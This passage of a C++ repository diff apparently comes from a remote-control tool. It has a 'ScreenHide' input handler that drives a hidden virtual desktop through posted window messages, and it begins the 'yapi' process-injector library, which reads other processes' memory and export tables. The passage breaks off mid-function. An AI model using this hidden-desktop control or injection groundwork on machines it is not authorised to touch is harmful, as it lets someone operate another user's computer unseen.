case WM_LBUTTONDOWN: case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
|
||||
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
|
||||
case WM_MOUSEMOVE: {
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MOUSEWHEEL:
|
||||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||||
break;
|
||||
case WM_KEYDOWN: case WM_SYSKEYDOWN:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
|
||||
break;
|
||||
case WM_KEYUP: case WM_SYSKEYUP:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else { // 虚拟桌面
|
||||
HWND hWnd = NULL;
|
||||
BOOL mouseMsg = FALSE;
|
||||
POINT lastPointCopy = {};
|
||||
SetThreadDesktop(g_hDesk);
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (msg->message) {
|
||||
case WM_KEYUP:
|
||||
return;
|
||||
case WM_CHAR:
|
||||
|
||||
case WM_KEYDOWN: {
|
||||
m_point = m_lastPoint;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONDOWN: {
|
||||
// 记录右键按下时的坐标
|
||||
m_rmouseDown = TRUE;
|
||||
m_rclickPoint = msg->pt;
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONUP: {
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||
// 检查是否为系统菜单(如任务栏)
|
||||
char szClass[256] = { 0 };
|
||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
|
||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||
// 触发系统级右键菜单(任务栏)
|
||||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||
}
|
||||
else {
|
||||
// 普通窗口的右键菜单
|
||||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
|
||||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_LBUTTONUP) {
|
||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||
{
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||
m_rclickWnd = nullptr;
|
||||
}
|
||||
m_lmouseDown = FALSE;
|
||||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
switch (lResult) {
|
||||
case HTTRANSPARENT: {
|
||||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
break;
|
||||
}
|
||||
case HTCLOSE: {// 关闭窗口
|
||||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMINBUTTON: {// 最小化
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMAXBUTTON: {// 最大化
|
||||
WINDOWPLACEMENT windowPlacement;
|
||||
windowPlacement.length = sizeof(windowPlacement);
|
||||
GetWindowPlacement(hWnd, &windowPlacement);
|
||||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||
else
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_LBUTTONDOWN) {
|
||||
m_lmouseDown = TRUE;
|
||||
m_hResMoveWindow = NULL;
|
||||
RECT startButtonRect;
|
||||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||
GetWindowRect(hStartButton, &startButtonRect);
|
||||
if (PtInRect(&startButtonRect, m_point)) {
|
||||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
char windowClass[MAX_PATH] = { 0 };
|
||||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||
if (!lstrcmpA(windowClass, "#32768")) {
|
||||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_MOUSEMOVE) {
|
||||
if (!m_lmouseDown)
|
||||
continue;
|
||||
if (!m_hResMoveWindow)
|
||||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
else
|
||||
hWnd = m_hResMoveWindow;
|
||||
int moveX = lastPointCopy.x - m_point.x;
|
||||
int moveY = lastPointCopy.y - m_point.y;
|
||||
|
||||
RECT rect;
|
||||
GetWindowRect(hWnd, &rect);
|
||||
int x = rect.left;
|
||||
int y = rect.top;
|
||||
int width = rect.right - rect.left;
|
||||
int height = rect.bottom - rect.top;
|
||||
switch (m_resMoveType) {
|
||||
case HTCAPTION: {
|
||||
x -= moveX;
|
||||
y -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTTOP: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOM: {
|
||||
height -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTLEFT: {
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTRIGHT: {
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPLEFT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPRIGHT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMLEFT: {
|
||||
height -= moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMRIGHT: {
|
||||
height -= moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||
m_hResMoveWindow = hWnd;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
for (HWND currHwnd = hWnd;;) {
|
||||
hWnd = currHwnd;
|
||||
ScreenToClient(currHwnd, &m_point);
|
||||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||
if (!currHwnd || currHwnd == hWnd)
|
||||
break;
|
||||
}
|
||||
if (mouseMsg)
|
||||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public: // 纯虚函数
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
|
||||
virtual void InitScreenSpy() = 0;
|
||||
|
||||
HDESK g_hDesk;
|
||||
std::string m_DesktopID;
|
||||
void* m_ptrUser;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
BOOL m_bIsWorking;
|
||||
long m_oldwidth, m_oldheigh;
|
||||
int m_biBitCount;
|
||||
int m_fps;
|
||||
int m_DlgToken; // 这个值决定打开哪个对话框
|
||||
HANDLE m_hWorkThread, m_hBlankThread;
|
||||
|
||||
// 虚拟桌面
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // 标记右键是否按下
|
||||
POINT m_rclickPoint; // 右键点击坐标
|
||||
HWND m_rclickWnd; // 右键窗口
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
+915
@@ -0,0 +1,915 @@
|
||||
/*
|
||||
yapi -- Yet Another Process Injector / Your API
|
||||
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
|
||||
|
||||
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
|
||||
This library is released under the MIT License.
|
||||
|
||||
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <tchar.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
#include <TlHelp32.h>
|
||||
|
||||
namespace detail {
|
||||
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
|
||||
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
|
||||
|
||||
inline BOOL Is64BitOS()
|
||||
{
|
||||
SYSTEM_INFO systemInfo = { 0 };
|
||||
GetNativeSystemInfo(&systemInfo);
|
||||
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|
||||
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
|
||||
}
|
||||
static const BOOL is64BitOS = Is64BitOS();
|
||||
|
||||
struct GCBase
|
||||
{
|
||||
virtual DWORD64 toDWORD64() = 0;
|
||||
virtual void gc() = 0;
|
||||
};
|
||||
struct GCHelper
|
||||
{
|
||||
~GCHelper() {
|
||||
for (size_t i = 0; i < _ptrs.size(); i++) {
|
||||
_ptrs[i]->gc();
|
||||
delete _ptrs[i];
|
||||
}
|
||||
}
|
||||
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
|
||||
private:
|
||||
std::vector<GCBase*> _ptrs;
|
||||
};
|
||||
}
|
||||
|
||||
namespace yapi {
|
||||
|
||||
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
|
||||
|
||||
#ifndef UNICODE
|
||||
static std::string _W2T(const wchar_t* wcs)
|
||||
{
|
||||
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
|
||||
std::string ret(len, 0);
|
||||
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
|
||||
ret.resize(len - 1);
|
||||
return ret;
|
||||
}
|
||||
#else
|
||||
#define _W2T(str) std::wstring(str)
|
||||
#endif
|
||||
|
||||
#define REPEAT_0(macro)
|
||||
#define REPEAT_1(macro) REPEAT_0(macro)
|
||||
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
|
||||
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
|
||||
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
|
||||
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
|
||||
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
|
||||
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
|
||||
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
|
||||
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
|
||||
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
|
||||
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
|
||||
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
|
||||
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
|
||||
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
|
||||
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
|
||||
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
|
||||
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
|
||||
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
|
||||
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
|
||||
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
|
||||
|
||||
#define END_MACRO_0(macro)
|
||||
#define END_MACRO_1(macro) macro(1)
|
||||
#define END_MACRO_2(macro) macro(2)
|
||||
#define END_MACRO_3(macro) macro(3)
|
||||
#define END_MACRO_4(macro) macro(4)
|
||||
#define END_MACRO_5(macro) macro(5)
|
||||
#define END_MACRO_6(macro) macro(6)
|
||||
#define END_MACRO_7(macro) macro(7)
|
||||
#define END_MACRO_8(macro) macro(8)
|
||||
#define END_MACRO_9(macro) macro(9)
|
||||
#define END_MACRO_10(macro) macro(10)
|
||||
#define END_MACRO_11(macro) macro(11)
|
||||
#define END_MACRO_12(macro) macro(12)
|
||||
#define END_MACRO_13(macro) macro(13)
|
||||
#define END_MACRO_14(macro) macro(14)
|
||||
#define END_MACRO_15(macro) macro(15)
|
||||
#define END_MACRO_16(macro) macro(16)
|
||||
#define END_MACRO_17(macro) macro(17)
|
||||
#define END_MACRO_18(macro) macro(18)
|
||||
#define END_MACRO_19(macro) macro(19)
|
||||
#define END_MACRO_20(macro) macro(20)
|
||||
|
||||
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
|
||||
|
||||
#define __ARG(n) P ## n
|
||||
#define __PARAM(n) p ## n
|
||||
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
|
||||
|
||||
#define TEMPLATE_ARG(n) typename __ARG(n)
|
||||
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
|
||||
|
||||
#define ARG_DECL(n) __ARG_DECL(n) ,
|
||||
#define END_ARG_DECL(n) __ARG_DECL(n)
|
||||
|
||||
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
|
||||
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
|
||||
|
||||
namespace {
|
||||
template <class T>
|
||||
struct _UNICODE_STRING_T {
|
||||
union {
|
||||
struct {
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
};
|
||||
T dummy;
|
||||
};
|
||||
T Buffer;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct _LIST_ENTRY_T {
|
||||
T Flink;
|
||||
T Blink;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct _PEB_T {
|
||||
T dummy01;
|
||||
T Mutant;
|
||||
T ImageBaseAddress;
|
||||
T Ldr;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _PEB_T<DWORD> PEB32;
|
||||
typedef _PEB_T<DWORD64> PEB64;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION32 {
|
||||
NTSTATUS ExitStatus;
|
||||
UINT32 PebBaseAddress;
|
||||
UINT32 AffinityMask;
|
||||
UINT32 BasePriority;
|
||||
UINT32 UniqueProcessId;
|
||||
UINT32 InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION32;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION64 {
|
||||
NTSTATUS ExitStatus;
|
||||
UINT32 Reserved0;
|
||||
UINT64 PebBaseAddress;
|
||||
UINT64 AffinityMask;
|
||||
UINT32 BasePriority;
|
||||
UINT32 Reserved1;
|
||||
UINT64 UniqueProcessId;
|
||||
UINT64 InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION64;
|
||||
|
||||
template <class T>
|
||||
struct _PEB_LDR_DATA_T {
|
||||
DWORD Length;
|
||||
DWORD Initialized;
|
||||
T SsHandle;
|
||||
_LIST_ENTRY_T<T> InLoadOrderModuleList;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
|
||||
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
|
||||
|
||||
template <class T>
|
||||
struct _LDR_DATA_TABLE_ENTRY_T {
|
||||
_LIST_ENTRY_T<T> InLoadOrderLinks;
|
||||
_LIST_ENTRY_T<T> InMemoryOrderLinks;
|
||||
_LIST_ENTRY_T<T> InInitializationOrderLinks;
|
||||
T DllBase;
|
||||
T EntryPoint;
|
||||
union {
|
||||
DWORD SizeOfImage;
|
||||
T dummy01;
|
||||
};
|
||||
_UNICODE_STRING_T<T> FullDllName;
|
||||
_UNICODE_STRING_T<T> BaseDllName;
|
||||
// omit unused fields
|
||||
};
|
||||
|
||||
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
|
||||
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
|
||||
|
||||
size_t tcslen(const char* str) { return strlen(str); }
|
||||
size_t tcslen(const wchar_t* str) { return wcslen(str); }
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
|
||||
|
||||
#ifdef _WIN64
|
||||
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
|
||||
HANDLE ProcessHandle, ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||
UINT32 * ReturnLength);
|
||||
|
||||
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
|
||||
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
|
||||
|
||||
#else
|
||||
|
||||
namespace {
|
||||
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
|
||||
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
|
||||
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||
UINT32* ReturnLength);
|
||||
|
||||
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
|
||||
HANDLE ProcessHandle, PVOID64 BaseAddress,
|
||||
PVOID BufferData, UINT64 BufferLength,
|
||||
PUINT64 ReturnLength);
|
||||
|
||||
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
|
||||
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
|
||||
{
|
||||
if (!moduleName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
|
||||
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
||||
MODULEENTRY32 mod = { sizeof(mod) };
|
||||
if (Module32First(hSnap, &mod)) {
|
||||
do {
|
||||
if (!_tcsicmp(mod.szModule, moduleName)) {
|
||||
CloseHandle(hSnap);
|
||||
return (DWORD64)mod.hModule;
|
||||
}
|
||||
} while (Module32Next(hSnap, &mod));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||
{
|
||||
if (!hModule || !funcName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
IMAGE_DOS_HEADER idh;
|
||||
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_NT_HEADERS32 inh;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!idd.VirtualAddress)return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY ied;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||
std::string func(strlen(funcName), 0);
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (func == funcName) {
|
||||
WORD ord = 0;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
DWORD rva = 0;
|
||||
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
return hModule + rva;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
|
||||
{
|
||||
if (!moduleName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
#ifndef _WIN64
|
||||
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
|
||||
#endif
|
||||
|
||||
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
|
||||
const int ProcessBasicInformation = 0;
|
||||
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
PEB64 peb;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
PEB_LDR_DATA64 ldr;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
|
||||
|
||||
LDR_DATA_TABLE_ENTRY64 head;
|
||||
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
|
||||
do {
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
|
||||
return head.DllBase;
|
||||
} while (head.InLoadOrderLinks.Flink != LastEntry);
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||
{
|
||||
if (!hModule || !funcName) return 0;
|
||||
if (!hProcess) hProcess = detail::hCurProcess;
|
||||
|
||||
#ifndef _WIN64
|
||||
if (!NtWow64ReadVirtualMemory64) return 0;
|
||||
#endif
|
||||
|
||||
IMAGE_DOS_HEADER idh;
|
||||
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_NT_HEADERS64 inh;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!idd.VirtualAddress)return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY ied;
|
||||
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||
if (!NT_SUCCESS(status)) return 0;
|
||||
|
||||
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||
